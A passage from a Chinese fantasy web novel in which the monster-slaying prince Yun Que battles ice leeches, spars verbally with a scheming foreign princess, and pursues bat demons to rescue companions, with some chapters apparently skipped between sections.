这里是北域,遍地异兽,又离着先生的木楼百里之遥,求救无门,刚才一场恐怖的风暴已经够吓人了,谁料到风暴刚结束,又开始闹鬼。 云缺微微皱着眉,握紧了毒牙刀的刀柄。 诡异的局面,云缺不以为意,闹鬼也无所谓,反正见得多了。 鬼怪那东西,云缺都懒得理睬。 但此时的局面不同寻常,云缺没感受到鬼气,反而察觉到浓烈的妖气随着女人的手臂蔓延开来。 手,的确是人手不假。 而妖气的来源,又与手臂同出一处。 云缺的眸子里闪过一丝冷意。 他已经猜到了真相。 人的手臂与妖气同时出现,那么只能预示着一件事。 这个人,被妖物吞掉了大半! 哗啦!!! 随着手臂不断爬行,其后的肩膀与面孔终于出现。 的确是永平公主。 朱静姝此时的模样无比恐怖,她只有半张脸,半个肩膀,大半的身体完全被一种古怪的肉球包裹,那肉球遍布褶皱,不断蠕动,发出咔嚓咔嚓的咀嚼声。 “救……救我……” 朱静姝的半张面孔痛苦不已,发出轻微声音,紧接着吐出一大口鲜血。 咕噜! 肉球继续蔓延,将朱静姝仅剩的半张脸吞没。 只剩下一只手,在肉球外颤抖。 齐御干呕了一下,差点没吐出来,惊呼道: “是冰蛭!五阶冰蛭!” 肉球模样的怪物,其实是一种巨大的虫类,没有眼睛鼻子,头部只有一张大口。 朱静姝的手臂,犹如面条般被冰蛭吸进口中。 同窗学子被活生生吞杀,如此画面,任谁看来都会无比震撼。 齐御脸色惨白的道: “快逃!这东西一旦出现肯定不止一条!我姐说冰蛭都是成对儿的!” 话音未落,一侧的冰雪中突然又冲出一条冰蛭,头部开裂,现出一张黑洞般的大口,嘴巴里遍布着细密獠牙,腥臭无比。 果然被齐御说中了,这座雪山里栖息着两条冰蛭。 后出来的这条,体型比正面的那条要小一些,散发着六阶妖兽的气息。 齐御咬着牙低吼道: “一人一条,生死天定!既然云师弟喊我一声师兄,我就得有个师兄的样子!我对付这条难缠的!” 说罢齐御气机暴起,运用蛮力,一个肩顶,将后爬出来的六阶冰蛭撞出雪洞。 齐师兄果然有师兄的样子,先挑了条境界低的对付。 云缺忽然间理解了齐御说的难缠二字。 六阶冰蛭难以缠死齐御,所以叫难缠,五阶冰蛭能缠死他,叫能缠。 所以难缠的,是六阶冰蛭而非五阶冰蛭。 齐御将冰蛭撞开后,雪洞外传来一阵呼喝。 时而奔雷掌,时而王八拳,反正声音挺大,还越来越远。 透过被撞开的大洞,云缺看到齐御一边大吼,一边连滚带爬在前面逃,冰蛭在后面扭曲着身体狂追。 很快,追逃的身影消失在茫茫大雪当中。 云缺一时感慨,低吟道: “仗义每多屠狗辈,负心多是读书人,有此同窗,徒呼奈何……咦?我怎么变得文绉绉了?” 云缺敲了敲自己的脑袋。 文殿镇魂,原来有副作用啊! 现在文气没用,面对一条五阶冰蛭,武力才有用。 跟妖物之乎者也的讲道理,它上来就一口,教你弱肉强食才叫真正的道理。 五阶冰蛭,气息的确恐怖,不过云缺并不在乎。 云缺现在已经是六品宗师境,七品的时候动用妖力也能宰掉五阶,现在更没问题。 不过云缺迟迟没有动手。 因为眼前这条冰蛭的状态,有些古怪。 随着雪层坍塌,现出了冰蛭的本体,长有五丈,身躯庞大如怪蟒,在冰蛭头部上方,顶着一个银色的圆盘,看似独角,却并非冰蛭身上的东西。 那是一个小巧的八卦盘,其内刻有九宫八卦图。 这个八卦盘云缺曾经见过,朱静姝曾经卜卦所用。 八卦盘的出现,让云缺预感到冰蛭进食的一幕,恐怕并不简单,其中有诈! 如果朱静姝已经被吞掉,她的八卦盘无论法器还是法宝,都该失去灵气掉落。 现在的情况是,八卦盘犹如长在冰蛭头顶,好似皇冠。 云缺没有轻举妄动,顺手抓住老虎尾巴,把萍山君拽了过来。 “吃它,我没肉。” 云缺把老虎往前推了推。 萍山君所有虎毛根根直立,转过虎头,满眼哀怨。 刚被卖给女学子,被人家当做猫狗玩了一天,这下又给卖了。 萍山君觉得自己肯定不是猫,更不是狗,但云缺是真的狗。 嗷呜!! 萍山君发出虎啸,想要吓唬吓唬眼前的大虫子。 吼!!!!!! 冰蛭张开黑洞般的大口,吼得萍山君四爪发软,原本还算庞大的虎身变得越来越小,最后犹如豹子大小。 萍山君实在没办法。 只能努力变小,我小点,肉少点,不那么明显。 “吵死了!” 云缺被震得耳朵嗡嗡响,一拳轰出,火光暴起。 一记赤炎拳,将五阶冰蛭砸了个跟头,倒着飞了出去。 冰火相克! 以赤炎拳的威能,对冰蛭造成的伤害极大。 冰蛭摔倒,云缺趁机离开雪洞。 外面地方宽敞,进退均可,施展得轻松。 被一头五阶妖物堵在雪洞里,太过危险。 肉虫般的冰蛭翻滚着摆正躯体,就要朝着云缺扑来,下一刻,冰蛭头顶的八卦盘突然旋转起来。 咔!咔!咔!咔! 八卦盘两侧蔓延出两条金色飘带,内侧带有一排长针,围拢成圆,犹如一个项圈般将冰蛭的脖子锁死。 随后九宫八卦的字迹,竟自行从八卦盘上游出,覆盖在飘带之上。 被锁死的冰蛭,发出怪叫,身躯明显缩小了一圈,妖气也比之前虚弱了倍许。 这头妖物找不到施法之人,将全部怒火发泄在云缺身上,晃动着庞大的躯体吞向云缺。 第335章 本王就这么霸道 冰蛭的速度是短板,爬行速度不是很快。 以云缺的身手,躲避冰蛭吞杀很简单,尤其当八卦盘出现异样之后,冰蛭的气息一直缓慢下降。 没过多久,便从五阶程度降低为六阶。 面对一头六阶妖兽,云缺对付起来更为简单。 毒牙刀捅几个伤口,然后让萍山君去与冰蛭打斗,云缺只管站在旁边看热闹即可。 毒力扩散的速度并不明显。 北域里的妖兽,血液流动缓慢,大多不怕毒。 不怕归不怕,架不住云缺继续捅啊。 接连捅了百十来刀,冰蛭扛不住了,动作越来越慢,气息越来越弱,最后趴在地上翻滚嚎叫。 见冰蛭不行了,萍山君来了精神,恢复成庞大的妖躯,跳到冰蛭身上连抓带咬。 咬两口,还不忘吼两声,王者气势十足。 好像这头五阶冰蛭是被它打败的一样。 等冰蛭连翻滚的力气也耗尽,云缺挥了挥手,赶走老虎。 来到冰蛭近前,云缺掀开对方的大口瞧了瞧。 细牙间除了一些碎肉之外,没有尸骨遗留。 朱静姝看似进了冰蛭的肚子,但云缺觉得对方没死。 看了看始终转动的八卦盘,云缺沉吟起来。 这东西等阶不低,极有可能超过了法器的范畴,是一件真正的法宝。 五阶冰蛭这等凶兽,极品法器也未必能锁住。 唯独法宝可以镇压。 八卦盘在云缺看来,很像一种项圈,如果拴条绳子,就成了狗链子。 抓捕妖兽的法宝? 云缺举起毒牙刀,准备把八卦盘从冰蛭头上撬下来。 无主之物,有缘人得之嘛。 没等动刀,一旁的冰雪上忽然刮起一阵旋风。 一道身影从旋风内浮现而出,犹如鬼魅,披着斗篷,脸上有一块难看的胎记。 正是朱静姝! 云缺猜到这家伙没死,瞥了一眼,继续撬八卦盘。 咔嚓,咔嚓,咔嚓。 磨牙般的声音响起在无人雪域。 云缺这边撬八卦盘,把冰蛭疼得一抽一抽直哆嗦。 朱静姝站在一旁也不阻拦,嘴角挂着若有若无的浅笑,道: “当着面,偷盗人家东西,大晋的王爷都这么霸道无理吗。” “你还真说对了,本王就这么霸道,你能奈我何。”云缺说着,撬得更起劲了。 “你用法器是撬不动的,那是法宝,专门用来封印妖力,抓捕妖物。”朱静姝道。 “我要是撬得动呢。”云缺道。 “撬得动的话……也不是你的。”朱静姝抬手一招,八卦盘上亮起光晕,将冰蛭拖到她身后。 云缺诧异了一瞬。 这家伙挺机灵,居然没上套。 如果对方说撬得动就归你,那云缺立刻动用妖刀,先把法宝抢过来再说。 朱静姝抬手的同时,手腕上流下几滴鲜血,落在白雪上十分刺眼。 以云缺的眼力,看出了伤口所在。 朱静姝的手腕上,缺了一块血肉,羹匙大小的一块。 “冰蛭刚才吞吃的,是你的替身。”云缺道。 “不是替身,是一具以我血肉祭炼的傀儡,我只有六品修为,施展不出身外化身那等高阶术法。”朱静姝道。 “以自身血肉制造傀儡,邪门的功法,莫非你是巫修。”云缺道。 “道门六品,正统修士,我不喜欢修炼巫法。”朱静姝道。 云缺点了点头,道: “好一个正统修士,不喜修巫却喜欢杀人,我猜皇城里的巫修老妪与菜刀武夫,与你有关。” “我派去的。”朱静姝大方的承认。 “你是不是觉得,身为学宫弟子又是齐先生所举荐,我就不敢杀你。”云缺冷冷一笑,道:“我可以帮帮你,让你的封号名副其实,永平公主,永远躺平。” “你当然敢杀我。” 朱静姝目光平静的道:“大晋立国十六年,奸臣当道,妖邪遍地,强兵悍卒尽在边关,皇城禁军外强中干,豪门世家花天酒地,皇城夜夜笙歌,百姓苦不堪言。” “大厦将倾之际,平天王凭空出世,刀斩锻纸侯,力敌血蛮大军,覆灭红莲教,大败邵武国五十万大军,斩昏君于金銮殿外,又是未来的女帝夫君。” “可以说没有你云缺,就没有如今的大晋,你连皇帝殷子受都敢杀,岂能不敢杀我一个区区邵武国公主。” 云缺笑了笑,道: “我的底细,你摸得很清嘛,既然了解我的为人,你觉得今天还有活路么。” 朱静姝浅浅一笑,道: “敢杀我,与能否杀掉我,是两回事。” “我可以试试,杀不掉的话,算你走运,杀得掉的话,算你倒霉。”云缺笑呵呵的道。 朱静姝站在雪地上,微微仰起头,脸上的胎记显得更加清晰几分,浅笑道: “我能看出你的杀意,你想杀掉我,而且下定了决心,我很欣赏你这份杀伐果断。” 云缺的目光变得深邃起来,冷淡道: “你好像很了解我。” “当然,我们神交已久,知己,未必朝夕相处,也可以远隔万里从未得见,我知道你的快乐,知道你的哀愁,知道你的一切。”朱静姝淡淡浅笑,脸上丑陋的胎记微微扭曲起来。 “少来装神弄鬼,你这么了解我,不妨说说我的快乐是什么。”云缺道。 “杀伐。” 朱静姝微笑道:“杀伐于你而言,是一种不可或缺的快乐,我说得,可对。” “没钱的时候我才杀伐,有钱了我是善人,扫地不伤蝼蚁命,爱惜飞蛾纱罩灯,你说得不对,我的快乐是……”云缺迟疑了一下。 自己的快乐,好像不太好对外人说。 毕竟咱是王爷,总不能告诉别人,本王的快乐,是观摩美人出浴吧。 “是女人,我知道的。”朱静姝浅浅一笑,道:“为了平息你的杀意,我可以给出一份你不会拒绝的好处。” “好处?该不会是你自己吧。”云缺冷笑道。 “残柳之躯,岂能当做好处,如果你喜欢,随时可以拿去玩乐,不用客气,我不在乎。”朱静姝道。 云缺皱了皱眉。 眼前这个邵武国的公主,不太好对付。 一番言语交锋,云缺没占到任何上风,反而始终被对方的气势压制。 “等我感兴趣的时候,也许会试试,说说你的好处,我这人胃口大,杀我之仇不共戴天。” 云缺目光骤然一冷,道:“如果你的好处我不满意,今天便是你的死期。” “你一定会满意。” 朱静姝说着蹲下身,团了个雪球,又将雪球掰成两半,其中的一半扔给云缺。 云缺接住半个雪球,盯着对方,等待下文。 “与我联手共图大计,事成之后,一半的邵武国,归你。”朱静姝平静的道出了好处。 云缺听罢心头一震。 一半邵武国! 这种好处,闻所未闻。 云缺表面上不以为然,冷漠道: “看不出来,永平公主还是位卖国之人,你把邵武国分我一半,你那皇帝老子会同意么。” 朱静姝平静的道: “邵武国,不是父皇的邵武国,你可以慢慢考虑,我需要提醒你一点,你已经成为邵武国的眼中钉肉中刺,与我联手,才是最佳选择。” “无论同意与否,我都要谢谢你,替我除掉了两个碍事的家伙,你杀掉的两人,是我的护卫,也是监视我的眼线。” 云缺目光一沉,道: “借刀杀人这招,公主殿下玩得挺溜啊,六品护卫白白死掉,是不是太浪费了。” 朱静姝关于邵武国皇帝的说法,印证了阜南王的判断,邵武国,果然不是表面上那么平静,而是被九夷人在幕后控制。 云缺大致看出了朱静姝的目的。 眼前这个永平公主,想要借助大晋之力,对抗九夷人,彻底掌握邵武国。 朱静姝脸上挂着浅笑道: “人,是用来死的,无论是谁,只有死掉,才有价值。” 听到这句话,云缺断定对面的女人是个冷血之人,这种人无论修为高低都极其危险。 “你怎么不让碍事的眼线去暗杀别人,邵武国记恨的,未必只有我一个,本王只有区区六品修为而已,对邵武国威胁不大。”云缺道。 “正因为你是六品境界,他们两个才敢去动手,皇宫有强者坐镇,杀皇帝,不亚于让他们送死,杀白厌,他们更不可能成功,从而怀疑我的真正目的,唯有你这位平天王,最为合适,他们不会起疑,顺利去送死。”朱静姝道。 “果然最毒妇人心,你够狠的,不仅借我之手杀掉眼线,还借我之手抓捕五阶冰蛭,怎么算我都吃亏。”云缺道。 “我卜的卦,很准的,此次北域之行,你仍有血光之灾,送你个破解之法当做报答,就此停步,可解此劫,如果你非要继续前行,我只能祝你一帆风顺,希望你能活着回来。” 朱静姝说完,脚下出现一圈白光,灵气升腾。 传送开启的同时,朱静姝忽然笑了起来,脸上的胎记变得愈发难看,道: “杀伐,也是我的快乐,我们是同一类人,从杀伐而生,至杀伐而死,呵呵呵呵……” 白光瞬间消失,朱静姝与冰蛭失去了踪迹。 云缺呼出一口哈气,看了看手里的半个雪球,朝着萍山君道: “公主给的灵丹,便宜你了。” 说着将雪球扔给萍山君。 萍山君一动没动,任凭雪球砸在脸上。 它是老虎不假,又不是猪。 “连老虎都不吃,我会吃你画的大饼么,一半邵武国,凭你一个公主?” 云缺嘀咕了一句,骑上老虎继续朝着北域深处赶去。 第336章 儒圣附体了? 与永平公主的相遇,云缺始终觉得不太舒服。 云缺见过很多人。 好人坏人,阴险的人,狡诈的人,表里不一的人,甚至心里住着妖的人。 但朱静姝与以往所见的任何人都不同。 不是说对方有多么特别的地方,而是永平公主这个人,在云缺看来有一种奇怪的感觉。 就好像那是一个神魂与躯壳分割开来的人,肉身如行尸走肉,神魂则阴险如蛇。 对,就是蛇! 云缺确定了一点,永平公主给自己的感觉,就是一条阴冷无情的毒蛇。 蛇会蜕皮。 对于曾经的身体一部分,蛇不会有任何留恋。 蛇很冷血。 云缺不止一次亲眼见过,饥饿的蛇妖,连自己的后代也会毫不犹豫的吞噬。 割掉自己血肉来制造傀儡,朱静姝的举动,与冷血的蛇妖极其相似。 尤其对方谈及身体的时候,用了一个奇怪的词汇。 残柳之躯! 一国公主,本该金枝玉叶,怎能是残柳之躯? 又不是青楼里的女人。 这一点云缺很疑惑,当时朱静姝说出那句话的时候,语气平静得毫无波澜,不像在开玩笑。 “莫非,邵武国的公主,都成了九夷人的玩物?” 云缺想起了齐御曾经说过的民间传闻,邵武国的公主经常改变容貌。 如果传闻是真的,那么邵武国的公主们,绝对有问题。 “殷子受送郡主,邵武国送公主,这皇帝当得真他娘窝囊,回家种地好不好,坐什么皇位呢。” 想到这里,云缺徒生感慨,轻吟道: “五子争权武观乱,百日懒朝狩东园,都郭无首后羿起,堪笑失国为哪般,呜呼,哀哉……咦!儒圣附体了?我怎么又文绉绉的了?” 云缺一个劲敲脑子。 得去回春殿瞧瞧了,文气太重不是什么好事儿啊,我一斩妖的屠夫,之乎者也的成何体统! “老子是刀客!不是文人骚客!” 云缺既懊恼又无奈。 儒圣文殿镶在识海了,拿不出去不说,还整天冒文气,云缺自己也没辙。 无尽雪域,猛虎独行。 萍山君可能是在楼船上受到了打击,一声不吭闷头赶路,速度飞快。 老虎用狂奔的速度,来证明着自己是百兽之王,不是家猫。 随着行进得越远,周围的寒气越重,云缺身上铺满一层冰霜。 对武夫来说,寒气无所谓,北域真正致命的地方,是藏身于冰雪中的各类妖兽。 一路上,遭遇了几次危险。 一次刚刚翻过一座雪山,结果那雪山崩塌开来,现出一头巨大无比的冰雪巨猿,要不是老虎亡命狂奔,差点被追上。 一次撞上了一群雪域狼妖,萍山君本以为自己是老虎,吼一嗓子狼群就得四散奔逃,结果它吼完,狼群齐齐怒吼,几十头巨狼全是六阶妖兽,萍山君只有七阶而已,吓得再次狂奔。 最危险的一次,是跑着跑着,地面冰层突然开裂,老虎掉进冰水里,水里全是凶猛的怪鱼,虎毛被咬掉一大片,爬出来的时候,尾巴少了一截。 当然这些危险全是萍山君自己的遭遇,到最后累得狼狈不堪。 至于云缺,则毫发无损。 因为云缺有先见之明,一旦遇到危险立刻扔出玉鹰法器飞起来,留下老虎在地面。 一块灵石而已,避免危险还是值得的。 这么点小钱,云缺舍得花。 一处安静的雪山脚下,萍山君趴在雪地上大喘特喘,哀求道: “王爷,下次你出行,能不能骑马啊,我快挺不住了,再这么折腾几次,我非玩完不可。” 云缺其实也想带小破马来,可小马耐力不行,加上北域冰天雪地,肯定跑不多远。 还得老虎抗造。 “读万卷书,行万里路,不断历练才能不断成长,也许此次北域之行就有你的造化呢。”云缺语气诚恳的画着大饼。 “我不想成长,我已经长大了!我现在只想回家!”萍山君哀嚎道。 “坚持坚持,快到了。” 云缺登上山顶,遥望北方。 连绵的雪山尽头,是一片辽阔冰原,一望无际。 那片冰原,便是当年的战场! 北域妖都的所在之地! 云缺此时心神一阵躁动,双拳渐渐捏紧。 他在这里厮杀过,那种酣畅淋漓的杀伐,仿佛就在昨天。 到处是刀光,到处是异兽,到处是鲜血…… 云缺的眼眸渐渐铺上一层血色,他此时有一种拔刀而战的冲动,想要劈斩,想要战斗,想要杀戮…… 脖颈上的月玉,忽然散发出暗淡的光泽,一股凉丝丝的气息将云缺笼罩。 心头的躁动随之消失。 云缺回过神儿来,悚然一惊。 不知何时,妖刀已经被自己握住,冰冷的刀锋在白雪映衬下显得愈发锋利。 难道,我真的喜欢杀伐…… 云缺脑海里回荡起朱静姝的声音。 ‘杀伐于你而言是一种不可或缺的快乐……’ 快乐? 云缺回忆起这些年的斩妖历程。 为了生存,为了修炼,斩妖早已成为习惯。 而斩妖的过程当中,自己真的快乐吗? 好像有一些快乐。 就像顽童喜欢踩蚂蚁,野狼喜欢追兔子,犹如一种刻在骨子里的天性。 云缺随之迷惑起来。 是因为妖武者的缘故,从小就要与妖兽搏杀,还是因为识海中有一头强大的妖魂?xièwèn 云缺想不出答案。 但杀伐,对他来说的确有一种快乐的感觉。 尤其斩妖之际的那种爽快,能让他从小孤寂的心灵,得到一丝慰藉。 云缺从山顶滑下。 迎面的寒风,吹散了烦乱的思绪。 云缺的快乐有很多种。 比如吃一顿饱饭,喝一顿好酒,欣赏一番美人,或者如此时这般,从雪面上快速滑下。 小时候每当下雪,云缺都会与梅钱跑到山顶,大喊大叫着滑下来,一次又一次,乐此不疲。 滑到山脚,激起一片雪花,把老虎埋了半截。 萍山君无精打采,提不起精神,躲都懒得躲。 云缺正准备继续出发,忽然虎头上的雪鸮仰起小脑瓜,躁动不安的扇动翅膀。 雪鸮的模样,预示着有天敌出现! 呼!! 空中飞过一道黑影,速度奇快,瞬息间越过山顶。 尽管黑影的速度很快,以云缺的目力仍旧看清了模样。 一头庞大的朔风蝠! 翼展五丈有余,通体漆黑,两只长爪好似弯钩。 朔风蝠的出现,令云缺神色一变。 不是惧怕妖物,而是那只朔风蝠的爪子上,抓着猎物。 是个人,穿着学子袍! 云缺所在的位置,距离北域边缘几乎有千里远,而学正规定的探索范围只有百里。 除了云缺之外,应该没人能走这么远。 是朔风蝠在北域边缘抓来的学子,还是那学子深入北域遭遇了朔风蝠的捕杀? 云缺没去多想,跳上虎背追了下去。 既然朔风蝠出现,正好将其抓住。 不一定非得斩杀,只要让云缺碰到朔风蝠,甩两下即可估计出重量。 “追!” 在云缺的号令下,萍山君继续狂奔,绕过雪山一路猛追。 可惜地面上跑的妖兽,注定没有天上飞的快。 萍山君拼了老命也追不上,空中的朔风蝠越飞越远。 追踪途中,云缺的瞳孔转为竖瞳,想要看一看蝠妖抓走的学子认不认得。 先是看到了衣服上的演武殿标记。 从对方一动不动的状态来看,不是已经死了,就是重创昏迷。 随着蝠妖飞行的晃动,隐约看到了那学子的侧脸。 看到侧脸后,云缺的脸色瞬间变得难看起来。 别说只看到侧脸,即便看到单独的额头或者一个鼻子一张嘴巴,云缺都能认得出来。 正是梅钱! 云缺万万没想到,梅钱居然成了猎物,被朔风蝠抓走。 “那孙子怎么搞的,这么不小心?” 云缺诧异着低语。 梅钱为人谨慎,轻易不会涉险,这次居然阴沟里翻船。 不管梅钱因何遇险,云缺自然不能见死不救。 看朔风蝠飞行的方向,应该是回归洞穴。 蝙蝠这种东西,无论普通的还是妖类,都有群居的习惯。 真要等梅钱被带回蝠妖洞穴,后果不堪设想。 “加快速度,梅老六要成点心,快点追!” 云缺低喝着催促道。 萍山君拼尽全力,玩了命狂奔,还是被越甩越远。 云缺没办法,让老虎发出虎啸,看看能否把朔风蝠吸引过来。 萍山君一边跑一边嚎叫,结果朔风蝠根本不回头。 云缺又掐住雪鸮,让雪鸮跟着一起叫,还是无法吸引朔风蝠的注意力。 那头蝠妖好像很急切的想要回家开饭,对身后的响动不闻不问。 这下云缺急了。 天色已经渐晚,一旦朔风蝠离开视线,再想找,无异于大海捞针。 到时候梅钱必死无疑! 情急之下,云缺想到了加快马匹速度的办法。 想要让马儿爆发出全部速度,捅一刀就行。 碍于萍山君皮糙肉厚,捅几刀它也不在乎,云缺选择了用手。 左手。 手心里裹着雷精的那只。 啪!!! 抡圆了一巴掌,拍在老虎背上,一层电弧顺着虎毛扩散开来。 萍山君被电得一激灵,速度果然快了几分。 但还是追不上朔风蝠。 飞行法器的速度还比不上萍山君狂奔来得快,云缺救人心切,顾不得老虎的感受了,一顿狂拍。 把萍山君电得死的心都有。 人家骡子拉磨还有歇气的时间呢,你这是拿我当死狗啊! 萍山君也怒了,妖气暴起,虎眼通红,这辈子的力气全都爆发开来,速度果然又快了不少。 也就勉强能跟上朔风蝠而已。 狂暴的气血,注定坚持不了多久,当一条冰川横在眼前的时候,萍山君终于力竭。 冰川并不平坦,蜿蜒起伏,遍布坑洼,还有无数高矮不一的冰柱如同冰锥般锋利。 这种地势,注定无法奔行。 “没劲了!老子又不会飞!”萍山君呼气如牛的吼道。 “不会飞……你不会学啊!”云缺一巴掌砸下,雷弧迸溅。 “我学……我学你妹呀!吼!!!”萍山君怒吼着,一跃而起,扑向冰川。 气血狂暴,加上筋疲力尽,还有满身雷电,萍山君已经到了极限。 它也想飞。 可它是虎妖,怎么可能飞得起来。 人的潜力,有时候就是在极限之时被开启。 虎也亦然。 当萍山君怒吼着凌空扑出的同时,身体两侧血肉里居然爆发雷光,伸展出一双雷电之翅! 虎妖,居然真的飞了起来! 第337章 他到底谁生的 萍山君的雷电双翅,让云缺大为惊讶。 瞬间联想到风先生曾经说过的风雷虎。 萍山君在极限之下,竟觉醒了远古异种的血脉! 云缺大喜,骑着老虎飞跃冰川地带。 远处,朔风蝠呼扇着巨翅,消失在一座雪山之下。 追到雪山脚下,萍山君落地后摔了个跟头。 老虎会飞之后,不会走了。 雪山就在眼前,能看到山脚处有一个巨大的洞窟。 云缺发现萍山君的状态不对。 雷电羽翅已经消失,虎身不断有旋风从内到外溢出,好似个漏气的皮球,气息忽高忽低。 萍山君一双虎眼内充满着惊喜,急急道: “进阶!我要进阶了!” “离这边远点,你自己找个安全地方。”云缺说罢纵身跃起,冲向山脚的洞窟。 萍山君知道这里危险,连滚带爬逃向远处,寻找安全之地准备进阶。 如果能成功,它将成为六阶妖兽。 老虎能否进阶,云缺没心思多管,梅钱现在的处境太过危险,必须尽快营救。 冲进洞窟的同时,云缺妖气暴起,双眼转为竖瞳。 洞窟很深,凸凹不平,斜着延伸向山腹深处。 云缺一路疾行,顾不得掩盖气息。 终于,看到了那头朔风蝠。 蝠妖落在地面,身躯比人高大一倍以上,一双赤红之眼寒光闪闪,两只爪子紧紧的抓着猎物。 云缺停住脚步,手持妖刀冷声道: “打个商量,我给你点好吃点,换你的猎物,如何。” 吱!!! 朔风蝠发出一声尖叫,森冷的气息随之大起。 “五阶……” 云缺沉声低语。 对面的蝠妖,散发着五阶程度的妖物气息。 云缺此时心头渐渐发沉。 不止担忧着梅钱的处境,还有司徒盼晴。 皇城里那只蝠妖也有五阶程度,无需什么眼力,小孩子都能看得出来,眼前的异兽绝对不可能只有十斤上下的重量。 蝠妖的叫声尚未消失,云缺动了。 脚下炸起气旋,浑身妖气涌动,狂风般冲向巨兽。 此地为蝠妖洞穴,很可能还有更多朔风蝠栖息,云缺必须速战速决,救走梅钱立刻逃离。 否则云缺自己都容易出不去。 妖力暴起之下,妖刀斜斩而出,直奔朔风蝠的脑袋。 朔风蝠猛然扇动肉翅,形成一股小型龙卷。 云缺曾经与皇城里的朔风蝠战斗过,很清楚蝠妖的风属天赋,早有准备,斩出的一刀顷刻间变成三刀,每一刀都如排山倒海,带着恐怖的刀气。 断刀式,三式齐出! 狂暴的刀气直接将龙卷斩开。 朔风蝠没想到眼前这渺小的人类,居然能爆发出如此恐怖的刀气,它一时大意,急忙合拢肉翅当做盾牌抵挡。 咔!咔!咔! 三道深深的刀痕出现在肉翅之上,鲜血迸溅。 朔风蝠吃疼之下,松开了梅钱,巨爪朝着云缺抓来。 云缺不去收刀,直接拍出左掌。 奔雷掌!! 咔嚓!! 雷光爆闪,一团闪电将朔风蝠笼罩其中。 瞬间交锋,云缺施展出全力,只为争取时间。 这一掌之下,云缺就此验证了五阶朔风蝠的重量。 至少三百斤以上,绝非十斤那么轻。 朔风蝠遭遇雷电重击,竟还有余力,用另一只巨爪将梅钱抛向身后。 第339章 天雷无妄,下下卦 看到司徒盼晴,云缺惊奇不已,低声喊道: “你怎么在这!” 司徒盼晴并不回答,低吼着扑向云缺,上来就撕咬。 云缺不想伤她,收起妖刀,一拳将对方打倒。 “你疯了!是我啊!”云缺低呼道。 司徒盼晴发出吱吱两声怪叫,一扭头,逃进洞窟深处。 云缺自然要追。 司徒盼晴为何出现在这里,不弄清楚,云缺誓不罢休。 但是梅钱昏厥不醒,带着的话是个累赘,放在这里容易被吃掉。 几步来到梅钱近前,云缺踹了一脚,急急道: “老匹夫,快出来!” 梅钱一动不动,翻着白眼。 云缺立刻换了语气,道:“老前辈,情况紧急,你出来帮帮梅钱,我要回去救人!” 梅钱眼珠晃动了一下,再次铺满一层浑浊,他坐了起来,道: “别怪老夫没提醒你,这处妖兽巢穴十分凶险,不止有四阶妖兽存在,你若回去,容易再也出不来。” “出不出得来是我的事,你掉进去我会救,司徒盼晴掉进去,我一样会救。”云缺沉声道。 “哼,意气用事,你自己都觉得司天监不是好地方,司天监的人是死是活,与你有什么关系,人呐,活着不易,要学会自保才能活得长久。”梅钱冷哼道。 “我和梅钱说话的时候,你是不是都能听得见?”云缺道。 “偶尔,老夫对你们谈论的话题不感兴趣。”梅钱淡然道。 云缺点了点头,心中很是感慨。 本以为自己和梅钱孤苦伶仃,可怜兮兮,从小两个人到处奔波,没什么朋友。 现在才知道,根本不是两个人,是他娘的四个人! 云缺身上有妖魂,梅钱身上有个老匹夫。 原来我们一点都不孤单,俩人吃饭,其实是一桌四位,还挺热闹! “前辈说得有道理,意气用事是我考虑欠妥,我决定了……” 云缺目光坚毅,一把抓住梅钱的手臂道:“我们一起回去救人!” 梅钱浑浊的目光明显僵直了一瞬,甩开云缺,怒道: “老夫现在的状态帮不了你!我的元神之力有限,只能暂时控制这副身体。” 吱!吱! 两人身后传来蝠妖怪叫,洞口那只五阶朔风蝠此时追了过来。 “你解决这个,帮我断后。”云缺道。 “五阶蝠妖问题不大,你最好动作快点,一刻钟之后看不到你,老夫不会多等。”梅钱说话间双掌浮现出光晕,护心镜上法力升腾。 云缺扭头冲进中间的通道,追了下去。 司徒盼晴出现在北域,这一点云缺万万没想到,从对方的状态来看,绝对是妖化的征兆。 司徒盼晴已经认不出云缺了,显然神智有损。 让云缺万般不解的是,司徒盼晴怎么会在朔风蝠的巢穴里? 她自己跑来的,还是被抓来的? 栖息在皇城里的那头朔风蝠,难道与司徒盼晴无关? 可是那头朔风蝠为何明明能击杀花不谢,却没下手? 怀着满腹疑惑,云缺脚步飞快。 梅钱身上的神秘老者说得没错,这处蝠妖巢穴相当危险。 猎妖人对妖气极其敏感,云缺能察觉到空气中弥漫的妖气,越往深处,越重! 第340章 泼妇公主 地底洞窟,蝠王现身。 云缺的处境陷入绝险之地。 一头三阶蝠王已经足够凶险,何况还有数百只朔风蝠存在。 随着蝠王的低吼,石笋上的朔风蝠纷纷展翅飞起,肉翅震荡的响动犹如惊涛拍岸,令人心神巨震。 尤其成群蝠妖所发出的啸声堪比魔音贯耳,若非云缺动用妖力,单单这股音浪即可摧毁活人的神魂。 云缺能抗住啸声,司徒盼晴可扛不住。 司徒盼晴不再翻滚,卷缩成一团颤抖不停,耳鼻中溢出血迹。 面对恐怖的妖族,云缺没有退缩,反而几步跃到司徒盼晴近前,将其抓起来扛在肩头。 原本云缺距离洞口很近,为了救司徒盼晴,他不得不来到三阶蝠王面前,站在了满天蝠妖之下。 数百双猩红的眼珠齐齐盯住地面的云缺,嗜血的蝠妖纷纷张开獠牙。 云缺知道逃不出去,必然会有一场死斗。 妖气的升腾,令云缺呼吸开始沉重,一双竖瞳毫无惧色,一手扛着司徒盼晴,一手举起了妖刀,指向正对面的庞大蝠王。 “斩妖……而已!” 低吼中,云缺的长发开始转为殷红,肩头妖气涌动。 轰!轰! 一双巨大的妖爪从肩头探出,扣在地面。 云缺准备好妖化状态,即便与群妖殊死一战,他也要带走司徒盼晴! 庞大的蝠王始终盯着云缺的一举一动,当看到云缺扛起司徒盼晴并将长刀指向它的时候,这头蝠王巨大的眼珠滚动了一下。 巨翅再次起伏,扇出一股狂风。 令云缺意外的情况出现。 蝠王扇出这阵狂风,没朝他而来,竟吹向空中的数百蝠妖。 妖群被狂风吹得纷纷后退,抓紧穹顶石笋,连绵的啸声戛然而止。 当狂风过后,数百蝠妖不再发出声音。 洞窟里变得安静下来。 只剩下云缺沉重的呼吸声,每呼出一口气,都有一股妖气被喷吐而出。 云缺此时心智还在,他发现了一个特别之处。 蝠王扇动的两次翅膀,都只动用了一只翅膀。 由此云缺判断出,蝠王的另一只翅膀肯定有伤! 三阶妖王的确可怕,云缺没什么胜算,不过若是一头有伤在身的妖王,云缺完全妖化之下,未必没机会。 吼…… 蝠王发出一声低吼,而后传来低沉的人声。 “放下她,饶你一命……” 